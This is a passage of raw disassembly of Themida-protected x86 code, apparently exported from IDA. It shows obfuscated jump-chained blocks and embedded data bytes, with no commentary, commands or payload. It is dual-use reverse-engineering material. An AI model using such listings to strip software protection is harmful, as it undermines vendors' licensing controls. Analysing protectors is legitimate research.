CODE XREF: Themida_:00564348j mov cl, dl pop edx mov ebx, [esp] add esp, 4 pop eax add al, cl pop ecx jmp loc_56D6D1 ; --------------------------------------------------------------------------- loc_5655F9: ; CODE XREF: Themida_:loc_55E496j jmp loc_56212E ; --------------------------------------------------------------------------- loc_5655FE: ; CODE XREF: Themida_:0055F6CFj add ebp, 4 jmp loc_56D114 ; --------------------------------------------------------------------------- loc_565609: ; CODE XREF: Themida_:0055F07Fj push esi push ebx jmp loc_562EB5 ; --------------------------------------------------------------------------- loc_565610: ; CODE XREF: Themida_:0055FD43j sub ebx, 32CC106Eh mov ebp, [esp] push ecx jmp loc_55C1A5 ; --------------------------------------------------------------------------- db 89h dd 0EC8350E7h, 242C8904h, 4EC81h, 99E90000h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_565633: ; CODE XREF: Themida_:0055C374j or eax, 45433082h jg loc_56A0D4 sub eax, 74C14EA6h push eax xor dword ptr [esp], 49283199h loc_56564B: ; CODE XREF: Themida_:0056A2B3j push eax mov eax, 54EA2853h add [esp+4], eax pop eax push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_559F68 ; --------------------------------------------------------------------------- loc_565671: ; CODE XREF: Themida_:00569DC4j xchg esi, [esp] mov esp, [esp] movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565682: ; CODE XREF: Themida_:005659BFj push 17286CC9h jmp loc_5652EA ; --------------------------------------------------------------------------- loc_56568C: ; CODE XREF: Themida_:005599C8j mov edx, esp push edi mov edi, 4 add edx, 1FF568C9h jmp loc_56AB94 ; --------------------------------------------------------------------------- loc_56569F: ; CODE XREF: Themida_:0055719Fj mov [esp], ebx mov ebx, 4 add esi, ebx mov ebx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5656C1: ; CODE XREF: Themida_:005662B5j push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 jmp loc_564D2B ; --------------------------------------------------------------------------- loc_5656D5: ; CODE XREF: Themida_:0056B927j mov ebx, ebp pop ebp add edx, 564C770Bh add edx, ebx jmp loc_562F0F ; --------------------------------------------------------------------------- loc_5656E5: ; CODE XREF: Themida_:0055F2B7j push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_564DB1 ; --------------------------------------------------------------------------- loc_5656F6: ; CODE XREF: Themida_:0055638Cj push ecx push ebx mov ebx, 0A835678h mov ecx, 783546F4h xor ecx, ebx pop ebx sub edx, ecx pop ecx add edx, ecx push eax mov eax, 72B6108Ch add edx, eax mov eax, [esp] jmp loc_557749 ; --------------------------------------------------------------------------- word_56571A dw 28Fh ; DATA XREF: Themida_:00556184o dd 0FF0BC6E9h db 0FFh ; --------------------------------------------------------------------------- loc_565721: ; CODE XREF: Themida_:0055A744j push small 4DBEh mov [esp], bx mov bl, 0FFh jmp loc_56824D ; --------------------------------------------------------------------------- dd 1004C681h, 0C5810B54h, 49293291h, 0FFEE51E9h db 0FFh ; --------------------------------------------------------------------------- loc_565741: ; CODE XREF: Themida_:0055856Ej jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565746: ; CODE XREF: Themida_:0056A976j pop ecx jmp loc_562D0F ; --------------------------------------------------------------------------- loc_56574C: ; CODE XREF: Themida_:0055752Fj ; Themida_:0055CD6Dj sub esp, 4 mov [esp], esi mov esi, 45804413h jmp loc_559B93 ; --------------------------------------------------------------------------- loc_56575C: ; CODE XREF: Themida_:0055F1B6j xor edi, esi jmp loc_55E9B5 ; --------------------------------------------------------------------------- loc_565763: ; CODE XREF: Themida_:0055C187j mov [esp], ebx mov ebx, 0B3EC13D3h add ebp, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor eax, ebp jmp loc_55A3C0 ; --------------------------------------------------------------------------- loc_565787: ; CODE XREF: Themida_:0056A7EFj push edx mov dl, cl mov al, dl pop edx jmp loc_563756 ; --------------------------------------------------------------------------- loc_565792: ; CODE XREF: Themida_:00561F47j xor al, 0CEh mov cl, al pop eax add ah, cl jmp loc_556460 ; --------------------------------------------------------------------------- loc_56579E: ; CODE XREF: Themida_:0055AF26j mov edx, 17747F3Dh jmp loc_55EC7A ; --------------------------------------------------------------------------- loc_5657A8: ; CODE XREF: Themida_:00564384j mov eax, 4 add ebx, eax mov eax, [esp] add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_567BF3 ; --------------------------------------------------------------------------- loc_5657C7: ; CODE XREF: Themida_:00556CA4j add edx, 95CAB661h jmp loc_55A595 ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFA663h, 674C40Dh, 86870F28h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5657E3: ; CODE XREF: Themida_:0055FC62j mov ecx, 2132073Fh jmp loc_559078 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 87000000h, 0E95C242Ch, 0FFFFF3D5h, 4C481h, 0CB890000h dd 0ADDE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56580A: ; CODE XREF: Themida_:0055F339j push edx push 4DF156BCh jmp loc_55CD27 ; --------------------------------------------------------------------------- byte_565815 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00556054o dd 0EC815524h, 4, 52242489h, 2F2C68h, 243C8900h, 0AF320CBFh dd 0A3C78176h, 0F58477Dh, 571681h, 0C5CF8100h, 0F54B71Bh dd 0FF1E648Dh, 5E781FFh, 0F2C4B56h, 0FF96D480h, 5E781FFh dd 0F64856Bh, 389887h, 85EDE900h, 0DBF7FFFFh, 3354C381h dd 0E3D10669h ; --------------------------------------------------------------------------- loc_565870: ; CODE XREF: Themida_:00567AF6j movzx ecx, ax push 7C24h mov [esp], ecx jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565880: ; CODE XREF: Themida_:0055E3E6j sub edx, 504A220Bh push dword ptr [esp] pop esi jmp loc_5652BB ; --------------------------------------------------------------------------- loc_56588F: ; CODE XREF: Themida_:0056AC81j pop dword ptr [edx+38h] push ecx sub esp, 4 mov [esp], esi mov esi, 69F943D0h jmp loc_558AED ; --------------------------------------------------------------------------- loc_5658A6: ; CODE XREF: Themida_:005614E6j mov bh, 2Ch push eax mov ah, bh mov ch, ah pop eax pop ebx sub esp, 4 mov [esp], edx mov dh, 25h or dh, 9Ah jb loc_557D6F sub dh, 0CFh js loc_564274 jmp loc_56B26C ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 80242C89h db 0EFh, 51h, 5Ah ; --------------------------------------------------------------------------- loc_5658DB: ; CODE XREF: Themida_:0055FE61j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55E935 ; --------------------------------------------------------------------------- loc_5658EA: ; CODE XREF: Themida_:0056D531j add bl, 0A4h shr bl, 2 add bl, 72h add ch, bl jmp loc_56AAA1 ; --------------------------------------------------------------------------- loc_5658FA: ; CODE XREF: Themida_:0055EC75j push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_56620F ; --------------------------------------------------------------------------- byte_565919 db 50h, 89h, 0E0h ; DATA XREF: Themida_:00556274o dd 405h, 4E88300h, 5C240487h, 24048F54h, 9CE95457h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565933: ; CODE XREF: Themida_:00563B28j mov ecx, [esp] add esp, 4 add ebx, eax add ebx, 6447EA6h pop eax or ebx, 11955B4Ch and ebx, 70075FC6h jnz loc_55F449 xor ebx, 42602B46h jmp loc_5600B7 ; --------------------------------------------------------------------------- db 51h ; --------------------------------------------------------------------------- loc_565963: ; CODE XREF: Themida_:loc_565FCDj push ebp mov ebp, 4CEFE51h add ebx, ebp pop ebp dec ebx jmp loc_556DA5 ; --------------------------------------------------------------------------- loc_565972: ; CODE XREF: Themida_:0056CAA1j pop edi jmp loc_56605B ; --------------------------------------------------------------------------- loc_565978: ; CODE XREF: Themida_:00565BA9j ; Themida_:00567ABAj xor edi, 74D60EACh xchg ebp, edi inc ebp xor edi, ebp jmp loc_560714 ; --------------------------------------------------------------------------- loc_565988: ; CODE XREF: Themida_:0056B641j add ax, di mov di, [esp] add esp, 2 add ax, cx push ebx mov bx, 936h xor bx, 6C56h jmp loc_560C08 ; --------------------------------------------------------------------------- db 83h dd 0C8704C1h, 0EE815C24h, 1, 0FF42EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5659B9: ; CODE XREF: Themida_:005636BBj mov ebx, 0AEE0763h push ecx jmp loc_565682 ; --------------------------------------------------------------------------- dd 6353E681h, 8A0F647Bh, 0FFFF149Ch, 69FDBB53h, 5FE9023Ah dd 83FFFF9Ch, 0F2E904C6h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5659E3: ; CODE XREF: Themida_:0055E304j mov dx, [esp] add esp, 2 jmp loc_56082E ; --------------------------------------------------------------------------- loc_5659F2: ; CODE XREF: Themida_:0056B20Bj mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub ebx, 2 jmp loc_562D19 ; --------------------------------------------------------------------------- loc_565A12: ; CODE XREF: Themida_:0056692Ej xchg edx, [esp] pop esp jmp loc_561B1A ; --------------------------------------------------------------------------- loc_565A1B: ; CODE XREF: Themida_:0056B4FAj add edx, edi pop edi pop edi add dword ptr [esp+4], 221C11D9h add [esp+4], edx sub dword ptr [esp+4], 221C11D9h push dword ptr [esp] pop edx add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565A42: ; CODE XREF: Themida_:0055A34Aj xor edi, 43A98B83h add edi, 0DA17657h jg loc_55D33C and edi, 5FE3340Fh jmp loc_561067 ; --------------------------------------------------------------------------- db 88h db 0EBh ; --------------------------------------------------------------------------- loc_565A61: ; CODE XREF: Themida_:00562D5Aj sub esp, 4 jmp loc_5679F6 ; --------------------------------------------------------------------------- loc_565A69: ; CODE XREF: Themida_:0055D9B1j push 4EB2h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55944C ; --------------------------------------------------------------------------- dd 8904EC83h, 0BA522404h, 4A564D20h, 0FFA1C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_565A99: ; CODE XREF: Themida_:00567085j mov ebp, 4A8F28CDh add edx, ebp jmp loc_562B06 ; --------------------------------------------------------------------------- loc_565AA5: ; CODE XREF: Themida_:005631E3j shl ebx, 2 jmp loc_55AA08 ; --------------------------------------------------------------------------- loc_565AAD: ; CODE XREF: Themida_:0056BFF9j sub ecx, 6CD41EC3h pop esi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] cmp ecx, eax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565ACE: ; CODE XREF: Themida_:00557E10j mov [esp], eax push eax mov eax, esp add eax, 4 push edi jmp loc_559ED0 ; --------------------------------------------------------------------------- loc_565ADF: ; CODE XREF: Themida_:0055F537j xor ebx, 7B1C378Eh sub ebx, 3CC5328Eh neg ebx sub ebx, 0C302F267h jmp loc_566702 ; --------------------------------------------------------------------------- loc_565AF8: ; CODE XREF: Themida_:0056984Aj mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push esi push edx jmp loc_56C723 ; --------------------------------------------------------------------------- dd 2A7AB850h, 0CCE97F3Fh db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_565B3F: ; CODE XREF: Themida_:00564540j pop edx jmp loc_56996E ; --------------------------------------------------------------------------- loc_565B45: ; CODE XREF: Themida_:0056280Fj push 277F2F7Dh pop edx push 7259h mov [esp], edx pop ebx pop edx xor ebx, 44434627h jmp loc_55747F ; --------------------------------------------------------------------------- dd 8159CF01h, 6372A7F7h, 0E0870F0Fh, 81FFFFADh, 360217EFh dd 2830F32h, 8900001Eh db 0C9h, 57h ; --------------------------------------------------------------------------- loc_565B7E: ; CODE XREF: Themida_:0055E42Dj push eax mov eax, 0FDF3220Ah xor ebx, eax jmp loc_55FDCF ; --------------------------------------------------------------------------- loc_565B8B: ; CODE XREF: Themida_:0055BC0Dj inc ebx push edi mov edi, 1B227B36h dec edi or edi, 62E33CC2h sub edi, 263A17F7h xor ebx, edi jmp loc_569145 ; --------------------------------------------------------------------------- loc_565BA6: ; CODE XREF: Themida_:0056A484j shr edi, 6 jmp loc_565978 ; --------------------------------------------------------------------------- loc_565BAE: ; CODE XREF: Themida_:00557DBBj mov ecx, [esp] add esp, 4 sub eax, 1 dec eax xor eax, 25CB10FDh xor eax, 20785EEAh add edi, eax push dword ptr [esp] pop eax add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push dword ptr [esp] mov edx, [esp] jmp loc_55FCC6 ; --------------------------------------------------------------------------- loc_565BE5: ; CODE XREF: Themida_:0056B2D0j push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_561D37 ; --------------------------------------------------------------------------- loc_565BF2: ; CODE XREF: Themida_:005662BEj push ebp mov ebp, 5D11257h add ebp, 2A6D2A33h jmp loc_568175 ; --------------------------------------------------------------------------- loc_565C03: ; CODE XREF: Themida_:0055D907j mov ecx, 72753D5Ch sub ecx, 2B8116D1h xor ecx, 5BCC6089h neg ecx neg ecx sub ecx, 0A177239Bh add ebp, ecx pop ecx add ebp, edi jmp loc_5606D4 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF0887h, 7FB6CA81h, 67E93EA3h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C3B: ; CODE XREF: Themida_:00562D38j pop edi push ebx jmp loc_5564EB ; --------------------------------------------------------------------------- dw 565Dh dd 7E62B4BEh, 0FDEF77Eh, 0FF8DA48Bh, 0B0CE81FFh, 0E96F4377h dd 0FFFF4FDEh, 5A243C87h ; --------------------------------------------------------------------------- loc_565C60: ; CODE XREF: Themida_:0055A2BDj jmp loc_55CCA1 ; --------------------------------------------------------------------------- loc_565C65: ; CODE XREF: Themida_:00563DE6j mov edi, 4 add ebx, edi jmp loc_5589F7 ; --------------------------------------------------------------------------- loc_565C71: ; CODE XREF: Themida_:0055FA51j push eax mov eax, 17883E10h sub edi, eax pop eax add ebp, edi mov edi, [esp] jmp loc_557BB9 ; --------------------------------------------------------------------------- dd 68FE875Ah, 0 dd 0D9242C81h, 29485674h, 0BD55243Ch, 485674D9h, 4246C81h dd 277F6655h, 4246C01h, 4244481h, 277F6655h, 0FE875F5Dh dd 5873BA52h, 7FE91E6Dh db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565CBF: ; CODE XREF: Themida_:005593DEj mov eax, [esp] jmp loc_56380F ; --------------------------------------------------------------------------- loc_565CC7: ; CODE XREF: Themida_:00569BB8j add ebx, 72BB619Fh jmp loc_559972 ; --------------------------------------------------------------------------- loc_565CD2: ; CODE XREF: Themida_:0055F96Fj mov eax, esi pop esi xor eax, esi jmp loc_56B418 ; --------------------------------------------------------------------------- loc_565CDC: ; CODE XREF: Themida_:0056B5B0j push dword ptr [esp+4] pop esi jmp loc_55F825 ; --------------------------------------------------------------------------- loc_565CE6: ; CODE XREF: Themida_:005630B4j sub edx, 16FC542Eh pop edi add edx, 4 xchg edx, [esp] pop esp jmp loc_55C286 ; --------------------------------------------------------------------------- db 30h, 0D8h, 0E9h dd 0FFFF7AD1h, 15BDE01h, 0B7685EF3h, 8900003Bh, 0B5BE2434h dd 0E9094B61h, 0FFFF584Ch ; --------------------------------------------------------------------------- loc_565D18: ; CODE XREF: Themida_:0055B8B4j push eax push ecx mov cl, bh mov al, cl pop ecx mov dh, al jmp loc_566A9E ; --------------------------------------------------------------------------- dw 0C181h dd 4, 5C240C87h, 0E904EC83h, 6F19h ; --------------------------------------------------------------------------- loc_565D38: ; CODE XREF: Themida_:0056C5A1j mov ch, 21h add ch, bh jmp loc_56D3EB ; --------------------------------------------------------------------------- loc_565D41: ; CODE XREF: Themida_:0055CAEAj push ecx push 4 pop ecx jmp loc_55F686 ; --------------------------------------------------------------------------- loc_565D4D: ; CODE XREF: Themida_:00567B08j add esi, 3C7C3AE7h jmp loc_56CB24 ; --------------------------------------------------------------------------- dd 8105E1C1h, 1E9h, 0AB52E900h, 7CE9FFFFh db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D6B: ; CODE XREF: Themida_:0055E8B3j push edx mov edx, 3D233620h and edi, edx pop edx and edi, 44E718C7h jmp loc_56B02C ; --------------------------------------------------------------------------- loc_565D7F: ; CODE XREF: Themida_:0056D70Cj push 1CEBh jmp loc_565275 ; --------------------------------------------------------------------------- loc_565D89: ; CODE XREF: Themida_:005654C1j mov edx, 1C347878h neg edx jnb loc_562E37 and edx, 67A90D80h jno loc_560AFD dec edx jg loc_55CCF9 mov al, bl pop edi loc_565DAC: ; CODE XREF: Themida_:0056D3B5j push dword ptr [esp+4] mov edx, [esp] jmp loc_568A56 ; --------------------------------------------------------------------------- loc_565DB8: ; CODE XREF: Themida_:0055E85Fj pop edi pop ebx push esi mov esi, 0FFFFFFFFh jmp loc_55F4AF ; --------------------------------------------------------------------------- loc_565DC5: ; CODE XREF: Themida_:0056BCF3j push esi mov esi, 4 add ebx, esi jmp loc_56B26C ; --------------------------------------------------------------------------- loc_565DD2: ; CODE XREF: Themida_:00562A7Bj push ebp mov ebp, 3235176Ch add edi, ebp pop ebp sub eax, edi pop edi mov ebp, [esp] add esp, 4 and ecx, eax mov eax, [esp] jmp loc_5685CD ; --------------------------------------------------------------------------- loc_565DEE: ; CODE XREF: Themida_:005581F1j dec byte ptr [esp] pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- db 68h dd 801h, 0BF243C89h, 106D03DBh, 8904EC83h, 2FE9240Ch db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565E0F: ; CODE XREF: Themida_:0055A4D3j add ebp, 46FB2469h jmp loc_568719 ; --------------------------------------------------------------------------- dw 0C8E9h db 4, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565E1F: ; CODE XREF: Themida_:0056C30Aj push esi mov esi, 4 add edi, esi pop esi sub edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] jmp loc_56BC68 ; --------------------------------------------------------------------------- loc_565E38: ; CODE XREF: Themida_:0056C928j mov ebp, 4 jmp loc_563D91 ; --------------------------------------------------------------------------- loc_565E42: ; CODE XREF: Themida_:0055747Aj pop esi xor ecx, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 316D21CAh push ebx jmp loc_55FB4A ; --------------------------------------------------------------------------- loc_565E62: ; CODE XREF: Themida_:0055DB9Bj push 6F0D6B35h jmp loc_55EB6C ; --------------------------------------------------------------------------- a_syn db '_ИYN',0 align 2 loc_565E72: ; CODE XREF: Themida_:00559747j push ebx mov ebx, 6CF148B7h or edx, ebx jmp loc_55A7F2 ; --------------------------------------------------------------------------- loc_565E7F: ; CODE XREF: Themida_:0056501Ej sub esp, 4 jmp loc_5598EF ; --------------------------------------------------------------------------- loc_565E8A: ; CODE XREF: Themida_:0055BDB0j xchg cl, al or al, 6Fh jno loc_56B4CE push edx jmp loc_5626A0 ; --------------------------------------------------------------------------- dw 0CF31h dd 8BFE8959h, 2C8B243Ch, 4C48124h, 52000000h, 0FFBFD0E9h db 0FFh ; --------------------------------------------------------------------------- loc_565EB1: ; CODE XREF: Themida_:0055A56Dj push ebx mov ebx, 1EA94243h mov ecx, ebx pop ebx jmp loc_56B4FF ; --------------------------------------------------------------------------- loc_565EBF: ; CODE XREF: Themida_:00557480j add dword ptr [esp], 62C5565Fh pop esi sub esi, 62C5565Fh jmp loc_56B0BF ; --------------------------------------------------------------------------- loc_565ED2: ; CODE XREF: Themida_:005680CAj add esp, 4 jmp loc_55FBC6 ; --------------------------------------------------------------------------- dw 0F781h dd 372C92h, 0C6E9F989h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565EE7: ; CODE XREF: Themida_:00557240j pop eax push 2C72h mov [esp], esi mov esi, esp push edx mov edx, 4 sub esi, 4D7221B0h jmp loc_5644A8 ; --------------------------------------------------------------------------- loc_565F03: ; CODE XREF: Themida_:0055D6B2j mov edx, esp jmp loc_561067 ; --------------------------------------------------------------------------- dw 0FB31h dd 0D3F7DF31h, 5B5F5357h, 0C1DFF74Fh, 0EF8102EFh, 2C8D33E4h dd 35E9F801h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565F27: ; CODE XREF: Themida_:0056C143j add esp, 4 sub esp, 4 mov [esp], edi mov edi, 0DF4272Ah jmp loc_5564C5 ; --------------------------------------------------------------------------- loc_565F40: ; CODE XREF: Themida_:loc_5665BFj shr bl, 1 jmp loc_55784D ; --------------------------------------------------------------------------- loc_565F47: ; CODE XREF: Themida_:00557EA7j mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] imul cx push small 59E6h mov [esp], dx push ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_565F66: ; CODE XREF: Themida_:0056C715j sub esp, 4 mov [esp], edx mov edx, esp jmp loc_560084 ; --------------------------------------------------------------------------- aI4ST db '┴4$И<t',0 align 2 loc_565F7E: ; CODE XREF: Themida_:0056CE12j add ebx, 4D9F5EA9h add ebx, esi sub ebx, 4D9F5EA9h push dword ptr [esp] mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_55EBE1 ; --------------------------------------------------------------------------- loc_565FAA: ; CODE XREF: Themida_:0056B338j push esp jmp loc_558457 ; --------------------------------------------------------------------------- loc_565FB0: ; CODE XREF: Themida_:0055C47Aj ; Themida_:005684F5j mov al, bl mov ebx, [esp] add esp, 4 pop ecx push dword ptr [esp] pop ebx add esp, 4 mov bl, al mov eax, [esp] jmp loc_569D1E ; --------------------------------------------------------------------------- loc_565FCD: ; CODE XREF: Themida_:0056B983j jz loc_565963 push ebp mov ebp, 4CEFE51h add ebx, ebp pop ebp dec ebx jmp loc_5637BD ; --------------------------------------------------------------------------- loc_565FE2: ; CODE XREF: Themida_:00567838j add eax, 4 jmp loc_564F68 ; --------------------------------------------------------------------------- loc_565FEC: ; CODE XREF: Themida_:00564A81j and bh, 0F1h jnb loc_564FD6 and bh, 0E4h jnp loc_564982 dec bh push ebx loc_566001: ; CODE XREF: Themida_:0055CE93j mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ebx push 26D76205h jmp loc_565391 ; --------------------------------------------------------------------------- loc_566026: ; CODE XREF: Themida_:0056B75Bj mov esi, [esp] jmp loc_56624F ; --------------------------------------------------------------------------- loc_56602E: ; CODE XREF: Themida_:00556809j mov edi, 4 sub ebx, 5E9C52B7h sub ebx, edi push esi mov esi, 4A406076h not esi neg esi and esi, 5C383E42h add esi, 169C3275h jmp loc_566675 ; --------------------------------------------------------------------------- loc_566056: ; CODE XREF: Themida_:0055A3CBj jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_56605B: ; CODE XREF: Themida_:00565973j pop edx push 2B4Eh mov [esp], edi not dword ptr [esp] jmp loc_566214 ; --------------------------------------------------------------------------- loc_56606C: ; CODE XREF: Themida_:0056857Cj mov [esp], esi jmp loc_55C9EA ; --------------------------------------------------------------------------- loc_566074: ; CODE XREF: Themida_:0056C596j mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_56ABC2 ; --------------------------------------------------------------------------- loc_566090: ; CODE XREF: Themida_:0056AEC6j add ebx, 0DA12C636h sub esi, ebx jmp loc_5646C8 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048966h, 0FF023EE9h, 241433FFh, 33241431h, 248B2414h dd 48B6624h, 71966824h, 4890000h, 34FF5424h, 24048B24h dd 0F56E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5660CE: ; CODE XREF: Themida_:0055A409j add eax, 0FFFFFFFFh and eax, 322E7A62h add eax, 0D69AE2F8h sub edi, eax pop eax add eax, edi pop edi pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], eax jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5660F6: ; CODE XREF: Themida_:00563E94j pop eax add [esp+4], edx jmp loc_567F73 ; --------------------------------------------------------------------------- loc_566100: ; CODE XREF: Themida_:00566FBCj push 0C751D46h jmp loc_56105C ; --------------------------------------------------------------------------- loc_56610A: ; CODE XREF: Themida_:0056716Cj mov [esp], ebx push 29FEh mov [esp], edi jmp loc_55D095 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFF220Ch ; --------------------------------------------------------------------------- loc_566120: ; CODE XREF: Themida_:0055A1B0j sub dword ptr [esp], 3AB803C3h pop ebp push ecx mov ecx, 1 sub ebp, ecx mov ecx, [esp] jmp loc_56BEDD ; --------------------------------------------------------------------------- loc_566138: ; CODE XREF: Themida_:00567353j or al, 0CAh sub al, 1 sub al, 0EFh neg al push edx push ax jmp loc_567C12 ; --------------------------------------------------------------------------- loc_566148: ; CODE XREF: Themida_:0056CFC1j mov cl, 0A0h and cl, 0ADh add cl, 73h neg cl and cl, 0B6h neg cl jmp loc_56BB58 ; --------------------------------------------------------------------------- dd 4C481h, 49680000h, 89000069h, 4FBA2414h, 5345FE14h dd 0FF2702E9h db 0FFh ; --------------------------------------------------------------------------- loc_566175: ; CODE XREF: Themida_:005696CBj sub esi, 30B97350h add esi, ebx add esi, 30B97350h add esi, 211B775Dh add esi, 581A13F3h mov ebx, [esp] push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_557817 ; --------------------------------------------------------------------------- loc_5661A2: ; CODE XREF: Themida_:0055F4BBj dec ecx and ecx, 44272BA3h inc ecx add ecx, 71756EFEh xor edi, ecx jmp loc_56C166 ; --------------------------------------------------------------------------- loc_5661B7: ; CODE XREF: Themida_:00569EDAj add bl, 0E2h sub bl, 0D3h sub bl, al add bl, 0D3h push edx mov dh, 0E2h sub bl, dh jmp loc_564DB7 ; --------------------------------------------------------------------------- loc_5661CC: ; CODE XREF: Themida_:00567577j mov esi, esp push edi jmp loc_5645EC ; --------------------------------------------------------------------------- loc_5661D4: ; CODE XREF: Themida_:00568F61j pop ebx sub edx, 0BE979B6Fh jmp loc_56B4BE ; --------------------------------------------------------------------------- loc_5661E0: ; CODE XREF: Themida_:0055C2F8j sub edi, 165328FAh jo loc_55B57B jmp loc_563529 ; --------------------------------------------------------------------------- loc_5661F1: ; CODE XREF: Themida_:0056B87Fj mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 jmp loc_55B22F ; --------------------------------------------------------------------------- db 31h dd 0FCE959CFh db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56620F: ; CODE XREF: Themida_:00565914j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_566214: ; CODE XREF: Themida_:00566067j pop edi shr edi, 2 push esi mov esi, 2D497A4Bh add esi, 19909EAh push ebx mov ebx, 16D321B4h not ebx or ebx, 1DC36081h jnz loc_55AFF5 shr ebx, 2 jmp loc_560209 ; --------------------------------------------------------------------------- dd 0F28BF929h ; --------------------------------------------------------------------------- loc_566244: ; CODE XREF: Themida_:00559730j sub esp, 4 jmp loc_568B30 ; --------------------------------------------------------------------------- loc_56624F: ; CODE XREF: Themida_:00566029j add esp, 4 xor ebp, 113D15B8h push 2205h mov [esp], edi mov edi, 37B3691h or edi, 4BC64941h jmp loc_55873E ; --------------------------------------------------------------------------- loc_566273: ; CODE XREF: Themida_:loc_5612BBj shl ch, 1 jnz loc_564D39 sub ch, 0F3h jmp loc_55FD34 ; --------------------------------------------------------------------------- db 66h dd 0C41B353h db 93h, 53h ; --------------------------------------------------------------------------- loc_56628A: ; CODE XREF: Themida_:005691F6j push dword ptr [esp] pop edi jmp loc_5588E4 ; --------------------------------------------------------------------------- loc_566293: ; CODE XREF: Themida_:00568B0Bj mov ebx, 51962D02h xchg edi, ebx not edi jmp loc_563D10 ; --------------------------------------------------------------------------- loc_5662A1: ; CODE XREF: Themida_:0055AC1Bj push esi pop edi push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5656C1 ; --------------------------------------------------------------------------- loc_5662BA: ; CODE XREF: Themida_:00567873j neg eax neg eax jge loc_565BF2 push ebp mov ebp, 5D11257h add ebp, 2A6D2A33h mov dl, 1Dh loc_5662D3: ; CODE XREF: Themida_:005592EDj mov [esp], ecx mov ecx, 46CD0155h or edi, ecx pop ecx jmp loc_558372 ; --------------------------------------------------------------------------- loc_5662E3: ; CODE XREF: Themida_:0056C270j mov edi, 36F96144h add eax, 514B694Fh add eax, edi sub eax, 514B694Fh mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5570A2 ; --------------------------------------------------------------------------- loc_56630B: ; CODE XREF: Themida_:00562D22j mov esp, [esp] jmp loc_55F0FA ; --------------------------------------------------------------------------- db 0Fh dd offset dword_527848+446h dd 550DE900h, 3C890000h db 24h, 88h, 0E2h ; --------------------------------------------------------------------------- loc_566323: ; CODE XREF: Themida_:00556506j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 5811h mov [esp], ecx mov ecx, 4 sub esi, ecx mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_557175 